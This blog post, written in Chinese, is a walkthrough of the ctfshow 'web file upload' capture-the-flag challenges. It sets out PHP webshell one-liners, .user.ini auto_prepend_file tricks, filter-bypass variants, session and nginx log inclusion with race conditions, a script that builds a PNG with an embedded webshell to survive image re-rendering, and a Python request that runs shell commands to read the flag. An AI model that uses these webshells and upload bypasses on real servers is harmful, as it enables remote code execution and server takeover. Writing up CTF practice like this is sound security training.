【原创】ctfshow—web文件上传

[huayang]

web151——152

写入一句话改为png格式

<?php
@eval(@$_POST['g']);
?>

上传并抓包并改包

连接蚁剑

web153

此题过滤了php后缀

首先创建一个.user.ini

GIF89a
auto_prepend_file=a.php

再创建一个a.png

<?php eval($_GET['a']);

上传抓包并改包

/upload/?a=system('nl ../flag.php');

web154

这次过滤了php,所以为什么非要写php呢

注意

这题更新过原本可以不用写php现在则需要大小写绕过

a.png

<?PHP eval($_GET['a']);

ini文件不变,抓包改包

/upload/?a=system('nl ../flag.php');

web155

这题直接正则了php所以直接去掉

a.php

<? eval($_GET['a']);

ini文件不变,抓包改包

/upload/?a=system('nl ../flag.php');

web156

这题过滤了中括号

用大括号绕过即可

a.png

<? eval($_GET{'a'});

ini文件不变,抓包改包

/upload/?a=system('nl ../flag.php');

web157-159

过滤了[]{}和;

我们可以用echo加反引号进行执行

;则可以用?>进行标记

a.png

<?echo `nl ../flag.ph\p`?>

配置文件不变

依旧抓包改包

直接访问即可

http://42c6a89d-65ce-47e6-b1d2-3480d28708d7.chall.ctf.show/upload

web160

感谢评论区的师傅给出解题方法

使用session即可解出,详情参照https://hellohy.top/huayang/1190.htmlweb82-86

1.上传.user.ini文件并包含a.png

2.上传a.png并包含session文件

3. 上传session进行包含利用

4.访问/upload/通过条件竞争即可得出flag

可能真正的图片文件也无法上传,因为过滤了php的

所以只要上传文件类内容不带php的即可

.user.ini

GIF89a
auto_prepend_file=a.png

a.png

<?=include"/tmp/sess_flag"?>

web161

a.pngt添加个文件头即可

GIF89a
<?=include"/tmp/sess_flag"?>

web162

过滤了点和flag

.user.ini

GIF89a
auto_prepend_file=png

a.png改为png

png

GIF89a
<?=include"/tmp/sess_fl0g"?>

web163

出了出了终于出了

和162差不多,多出一个条件竞争和过滤了cat(貌似,这个我没出来)

session改一下

把session和/upload/一直开启访问

千万别一直上传png

千万别一直上传png

千万别一直上传png

会报403的,我就进了之个坑

上面两个开启后再上传png就可以啦

这个长度

web164

考察png二次渲染

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
?>

运行脚本会在此目录生成一个2.png文件

上传此文件

再跑一下即可

import re
import requests
url = 'http://157767b5-cec3-4668-a015-385c69042193.chall.ctf.show/download.php?image=fb5c81ed3a220004b71069645f112867.png&0=system'
r = requests.post(url,data={'1':'cat flag.php'})
flag = re.findall('.*?flag(.*?)}',r.text,re.S)
for i in flag:
    print(i+'}')

web165

二次渲染jpg

参考

https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

此题对图片的要求极大

建议脸黑勿做

web166

只能上传压缩包文件

a.zip

<?php eval($_POST[a]);?>
 ZIP的: application/x-zip-compressed
RAR的: application/octet-stream

注意这后面不能留空格

测试一下

直接上蚁剑

web167

只能传jpg

2.jpg

AddType application/x-httpd-php .jpg

改为如下

2.jpg

GIF89a
<?php eval($_POST[a]);?>

web168

边上传就边访问

web169-170

只能传zip

线上传.user.ini文件包含日志文件

auto_prepend_file="/var/log/nginx/access.log"

改文件类型为image/png

然后再上传一个a.php文件,就把名字改为a.php就行了

访问url/upload/a.php

写入一句话

<?php system('cat ../f*');?>

[/huayang]

==>转载请注明来源哦<==

评论

  1. 头像
    w3c
    Windows Chrome
    4月前
    2021-10-10 1:07:24

    hhh

  2. 头像
    Windows Firefox
    4月前
    2021-10-04 15:51:24

    66

  3. 头像
    傻逼
    Windows Chrome
    4月前
    2021-9-15 20:40:25

    Hello World~

  4. 头像
    RJ
    Windows Firefox
    5月前
    2021-9-01 9:30:27

    hhh

  5. 头像
    Windows Chrome
    6月前
    2021-8-12 9:42:21

    6666666666666666666

  6. 头像
    Hunter
    Windows Chrome
    6月前
    2021-8-02 22:43:35

    来了

  7. 头像
    ze
    Windows Chrome
    7月前
    2021-6-16 15:47:14

    来看看

  8. 头像
    harper
    Windows Chrome
    9月前
    2021-4-25 19:10:25

    你好!~

  9. 华扬
    华扬 博主
    10月前
    2021-4-06 10:50:16

    那就给爷看

  10. 头像
    hegaoxing
    10月前
    2021-4-06 10:47:02

    我想看看

  11. 华扬
    华扬 博主
    1年前
    2020-11-15 12:32:15

    谢谢师傅

  12. 头像
    Y4tacker
    1年前
    2020-11-15 12:27:46

    web160 用session

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇